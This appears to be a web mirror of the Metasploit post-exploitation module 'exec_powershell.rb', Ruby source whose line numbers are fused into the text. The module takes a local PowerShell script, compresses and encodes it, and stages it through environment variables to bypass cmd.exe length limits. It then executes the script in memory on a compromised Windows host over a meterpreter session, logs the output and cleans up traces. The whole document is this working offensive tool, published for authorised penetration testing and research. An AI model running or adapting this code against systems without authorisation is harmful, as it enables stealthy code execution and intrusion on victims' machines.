Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/windows/manage/powershell/exec_powershell.rb
Views: 11788
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45##6# Original script comments by nick[at]executionflow.org:7# Meterpreter script to deliver and execute powershell scripts using8# a compression/encoding method based on the powershell PoC code9# from rel1k and winfang98 at DEF CON 18. This script furthers the10# idea by bypassing Windows' command character lmits, allowing the11# execution of very large scripts. No files are ever written to disk.12##1314require 'zlib' # TODO: check if this can be done with REX1516class MetasploitModule < Msf::Post17include Msf::Post::Windows::Powershell1819def initialize(info = {})20super(21update_info(22info,23'Name' => 'Windows Manage PowerShell Download and/or Execute',24'Description' => %q{25This module will download and execute a PowerShell script over a meterpreter session.26The user may also enter text substitutions to be made in memory before execution.27Setting VERBOSE to true will output both the script prior to execution and the results.28},29'License' => MSF_LICENSE,30'Platform' => ['win'],31'SessionTypes' => ['meterpreter'],32'Author' => [33'Nicholas Nam (nick[at]executionflow.org)', # original meterpreter script34'RageLtMan <rageltman[at]sempervictus>' # post module35],36'Compat' => {37'Meterpreter' => {38'Commands' => %w[39stdapi_sys_config_sysinfo40]41}42}43)44)4546register_options(47[48OptPath.new('SCRIPT', [true, 'Path to the local PS script', ::File.join(Msf::Config.data_directory, 'post', 'powershell', 'msflag.ps1') ]),49]50)5152register_advanced_options(53[54OptString.new('SUBSTITUTIONS', [false, 'Script subs in gsub format - original,sub;original,sub' ]),55OptBool.new('DELETE', [false, 'Delete file after execution', false ]),56OptBool.new('DRY_RUN', [false, 'Only show what would be done', false ]),57OptInt.new('TIMEOUT', [false, 'Execution timeout', 15]),58]59)60end6162def run63# Make sure we meet the requirements before running the script, note no need to return64# unless error65return 0 if !(session.type == 'meterpreter' || have_powershell?)6667# End of file marker68eof = Rex::Text.rand_text_alpha(8)69env_suffix = Rex::Text.rand_text_alpha(8)7071# check/set vars72subs = process_subs(datastore['SUBSTITUTIONS'])73script_in = read_script(datastore['SCRIPT'])74print_status(script_in)7576# Make substitutions in script if needed77script_in = make_subs(script_in, subs) unless subs.empty?7879# Get target's computer name80computer_name = session.sys.config.sysinfo['Computer']8182# Create unique log directory83log_dir = ::File.join(Msf::Config.log_directory, 'scripts', computer_name)84::FileUtils.mkdir_p(log_dir)8586# Define log filename87script_ext = ::File.extname(datastore['SCRIPT'])88script_base = ::File.basename(datastore['SCRIPT'], script_ext)89time_stamp = ::Time.now.strftime('%Y%m%d:%H%M%S')90log_file = ::File.join(log_dir, "#{script_base}-#{time_stamp}.txt")9192# Compress93print_status('Compressing script contents.')94compressed_script = compress_script(script_in, eof)95if datastore['DRY_RUN']96print_good("powershell -EncodedCommand #{compressed_script}")97return98end99100# If the compressed size is > 8100 bytes, launch stager101if (compressed_script.size > 8100)102print_error("Compressed size: #{compressed_script.size}")103error_msg = 'Compressed size may cause command to exceed '104error_msg += "cmd.exe's 8kB character limit."105print_error(error_msg)106print_status('Launching stager:')107script = stage_to_env(compressed_script, env_suffix)108print_good('Payload successfully staged.')109else110print_good("Compressed size: #{compressed_script.size}")111script = compressed_script112end113114# Execute the powershell script115print_status('Executing the script.')116cmd_out, running_pids, open_channels = execute_script(script, datastore['TIMEOUT'])117118# Write output to log119print_status("Logging output to #{log_file}.")120write_to_log(cmd_out, log_file, eof)121122# Clean up123print_status('Cleaning up residual objects and processes.')124clean_up(datastore['SCRIPT'], eof, running_pids, open_channels, env_suffix)125126# That's it127print_good('Finished!')128end129end130131132